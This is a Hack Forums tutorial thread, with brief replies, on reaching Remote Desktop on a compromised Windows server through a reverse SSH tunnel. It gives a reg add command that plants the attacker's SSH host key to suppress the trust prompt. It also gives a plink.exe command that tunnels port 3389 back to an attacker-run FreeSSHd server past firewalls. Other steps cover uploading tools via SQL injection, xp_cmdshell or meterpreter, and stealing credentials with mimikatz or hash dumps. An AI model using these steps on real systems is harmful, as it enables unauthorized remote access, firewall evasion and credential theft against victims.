

Forum:[Hack Forums](#)

Thread: [\[TUT\] How to Access RDP over a Reverse SSH Tunnel](#)

bexpr9 - September 25, 2019, 12:19 am

How to Access RDP over a Reverse SSH Tunnel

I'll be providing instructions for establishing an RDP connection over a reverse SSH tunnel using plink.exe and FreeSSHd.

I'll also show how to do it without having to accept SSH server keys interactively, which can come in handy when pentesting.

The methods outlined can also be used to tunnel other protocols over SSH connections in order to traverse firewalls,

but I thought RDP was one that people could use in many scenarios.

My thread should be useful to HF members looking for a pseudo VPN solution.

The following steps will be covered:

1. Install FreeSSHd

You can just as easily use some other Linux SSH server like OpenSSH (included in Backtrack, though you may have to enable it),

but my thread is tuned for Windows users so I'll be showing how to install and configure FreeSSHd.

However, make sure you have the most recent version, because the older ones have a few security issues.

I've provided basic installation instructions for FreeSSHd below:

1. Download FreeSSHd from <http://www.freesshd.com>
2. Install it. However, I recommend not running it as a service. That way it won't startup automatically. Unless, of course that's what your looking for.
3. Double-click the FreeSSHd icon on the desktop.
4. The icon will appear on the Windows taskbar.

2. Configure Tunneling Options in FreeSSHd

Next, we want to make sure that our SSH server is configured to actually support tunneling.

So below I've provided the basic instructions:

1. Left-click the FreeSSHd taskbar icon to view the settings.
2. Navigate to the "Authentication" tab.
3. Set the "Public key folder" to the file system location where you store your public keys. This step really only applies if you're planning to use public/private key pairs to authenticate to the server instead of a password.
4. Set the "Password authentication" and "Public key authentication" options to "Allowed" by choosing the associated radio buttons.
5. Press "Apply".

6. Navigate to the "Tunneling" tab.
7. Ensure that the boxes next to "Allow local port forwarding" and "Allow remote port forwarding" are checked.
8. Press "Apply".

3. Create User Accounts in FreeSSHd

Alright, let's create some users:

1. Navigate to the "Users" tab.
2. Click "Add" to create a new user.
3. Enter the desired login and authentication information (password or key).
4. Select all of the user options.
5. Press "Apply".
6. Repeat as necessary for each user.

4. Create the Key Pair for Each User with PuTTYgen

Once again, this step only applies if you're planning to use public/private keys pairs to authenticate.

If your tunneling RDP over SSH as a pseudo VPN solution, it's a good idea to steep a password protected key to authenticate to your SSH server.

However, during a penetration test, it usually it makes more sense to use a password to authenticate.

1. Download the PuTTY installer from <http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html>.
 2. Install PuTTY.
 3. Navigate to Start > All Program > PuTTY > PuTTYGen.
 4. Click "Generate", and move the mouse around to create random values for the new key pair.
 5. When the generation is complete, the public key will be displayed in the top text area. Copy it to notepad, make sure it is on one line, and save it to a file.
 6. Name the file after the user it will be used for. Then move it to the public keys directory you defined in the FreeSSHd "Authentication" tab earlier.
 7. I've found that FreeSSHd can be a little flakey at times, so I recommend completely unloading and reloading FreeSSHd to make sure that all of your settings stick.
- I've noticed that simply restarting the SSHd server via the GUI doesn't always do the trick.

5. Test the FreeSSHd Server Configuration with PuTTY

Especially, during a penetration test it's a good idea to test out your configuration on the local LAN before trying it out on a compromised system.

Below I've provided instructions for using PuTTY to test the account and FreeSSHd configuration.

1. If you are using a key to authenticate, navigate to Start > All Program > PuTTY > Pageant. Pageant will open, and you can load your private key.
2. Navigate to Start > All Programs > PuTTY > PuTTY. PuTTY will open.
3. Enter the IP address of your FreeSSHd server, and press "Open".
4. You will be prompted to accept the key from the FreeSSHd server – accept it. The next time you log into the FreeSSHd server you'll notice that you don't have to accept it, because plink and PuTTY add a registry entry to track trusted hosts in Windows.
5. Authenticate:

1. If you configured your account to use a password, or a private key with a password, then you will need to provide it before gaining access to a shell.
2. If you configured a private key without a password you should be provided a shell immediately after entering your username.

6. Add Registry Key to Remote Server (compromised server) with Reg

This step pretty much only applies to the penetration testers reading my thread.

Remember a second ago when you had to accept the FreeSSHd server key before authenticating?

Having that trust relationship is a requirement, and neither PuTTY or plink have a an option to suppress that check.

That's a bit of a bummer for penetration testers, because in many attack scenarios we don't have an interactive shell to work with.

Have no fear though – Antti and I have come up with a work around.

As I mentioned in the previous steps, plink and PuTTY add a registry entry to track trusted hosts in Windows.

So, we found that to suppress the “do you trust this host” prompt, we can simply add the FreeSSHd host key to the registry on the compromised server using the reg command.

As a result, we can initiate a reverse SSH session without an interactive shell.

HuRay! Below are the instructions for grabbing the registry entry from your system and installing it on the compromised server:

1. Navigate to Start > Run .
 2. Type “regedit”.
 3. Navigate to HKEY_CURRENT_USERSoftwareSimonTathamPuTTYSSshHostKeys.
 4. Right-click and export the registry entry that was created when you accepted the FreeSSHd server key.
 5. Add the registry entry to the compromised server using the reg command.
- In the example below 192.168.1.100 is the FreeSSHd server IP address and 192.168.1.5 is the compromised server IP address.

```
Reg add KEY_CURRENT_USERSoftwareSimonTathamPuTTYSSshHostKeys /v  
rsa2@22:192.168.1.100 /t REG_SZ /d  
"0x23,0xcb2b55db55f787472197e10017fd3ef10a30987cbe1049375c4c9ac63df05  
a20bc3587af745e7169431dc4315b689ab38c61a5715ad65742cb4ad278479b126  
a866725faf87016aefb46becd0299f29269c889292720bbdaaf09fe1fbe81eca27139  
b15aa2be2266dd90b1106a24b7770f6d2fa7dcdbb1a36f7d353d898e24e92c3a8c3  
b575f48a561975f17f8f2ef34680e1e595edaf9f8f00c75bb736160e86da6b773f4e05  
ec022117c413463093638aafc567738473f25dc8301fab7d8d2ef57c9790b04cb5ad  
d5df66f084866320e34892c1491c0c9cb1a93fb43b74aec6abd55b676c22f9dc4b4f  
1daab0f4e7c08a3203bc2a2c952318b37cf8df9ca55"
```

Ok, now that you've done all that, its time for a little full disclosure.

I learned from my friend after I wrote this that someone already went through the trouble of writing an alternative plink client that does not prompt users to accept (cache) the host key.

Its available at <http://rc.quest.com/topics/putty/readme/#plinkopt>.

I recommend checking it out.

If you use that instead of the original version you will not have to do the registry hack first.

7. Upload Plink.exe to the Remote Server (compromised server)

Now its time to upload plink.exe to the compromised server.

Plink is a Windows SSH client that is part of the PuTTY installation package.

If your using key based authentication then you should also upload your private key at this point.

The method used to upload plink.exe may depend on the vulnerability that provided initial access to the compromised server, and the existing security controls.

If you already have the ability to execute arbitrary commands on the remote server (compromised server)

then uploading plink.exe shouldn't be an issue.

However, for those of you looking for somewhere to start, I've listed some common options below.

1. Web upload forms (php, asp, aspx, cfm, cgi, etc) allow you to upload arbitrary files to the compromised server quickly without an interactive shell.

2. FTP client and the "-s" script option allows you to download files to the compromised server from an FTP server easily without an interactive shell.

3. MSSQL and xp_cmdshell allow you to upload files via local commands, bulk inserts, powershell, etc.

This is a nice option when executing the attacks via a SQL injection.

4. TFTP server. Hopefully I don't have to explain this one.

5. Network shares can be used to upload file after being mounted using the net commands.

6. If you already have an RDP session, but are looking to send one outside of the firewall then you can upload files via the shared clipboard and local drives.

7. The Meterpreter shell upload command does exactly what it sounds like, but of course requires an existing meterpreter shell.

8. Run Plink.exe on the Remote Server (compromised server)

Almost there – Using the instructions below,

start a reverse SSH tunnel that maps remote desktop port 3389 on the compromised server to port 12345 on the FreeSSHd server.

In the example below 192.168.1.100 is the FreeSSHd server IP address (server) and 192.168.1.5 is the compromised server IP address (client).

Syntax: plink.exe -P 22 -C -R 127.0.0.1:12345::3389 -l netspi -pw letmein

Example: plink.exe 192.168.1.100 -P 22 -C -R 127.0.0.1:12345:192.168.1.5:3389 -l test -pw password

Important Note:

Please keep in mind that when traversing firewalls over the internet make sure to use your INTERNET facing IP address

so the compromised server can actually connect back to your FreeSSHd server.

Remember that some port forwarding may be required on your end.

Finally, executing plink.exe with the at.exe or schtasks.exe command can be useful in some scenarios.

9. Access Tunneled RDP Session on Local Port via RDP Client

How does it feel? After like 10,000 steps your finally at the payoff.

Are you excited? Be honest.

Ok, ok -enough chatting, let's finish this thing.

1. If you don't already have local credentials for the compromised system, now would be a good time to do one of the following things so you can actually log into your tunneled RDP connection: – Create a local administrator account with the net user command. – Dump unencrypted credentials with mimikatz. – Dump and crack the local password hashes with smart_hashdump or fgdump. – Dump passwords from files or the registry. – Etc, etc, etc...

2. Log into your FreeSSHd server locally or via RDP. Navigate to Start > Run.
3. Type "mstsc" on the FreeSSHd server.
4. Type "127.0.0.1:12345"
5. Press enter.
6. Enter your credentials to login.
7. Ta – wait for it – da! – Now you have pretty screenshots for your reports!

SOS777 - *September 26, 2019, 7:42 pm*

Old stuff but worth sharing .. thanks for the guide

smelltheglove - *September 30, 2019, 9:50 pm*

right outta the msf playbook

Last_viking - *October 2, 2019, 5:00 am*

(Sep 26, 2019 07:42 PM)SOS777 Wrote: [\[CITE\]](#) Old stuff but worth sharing .. thanks for the guide
This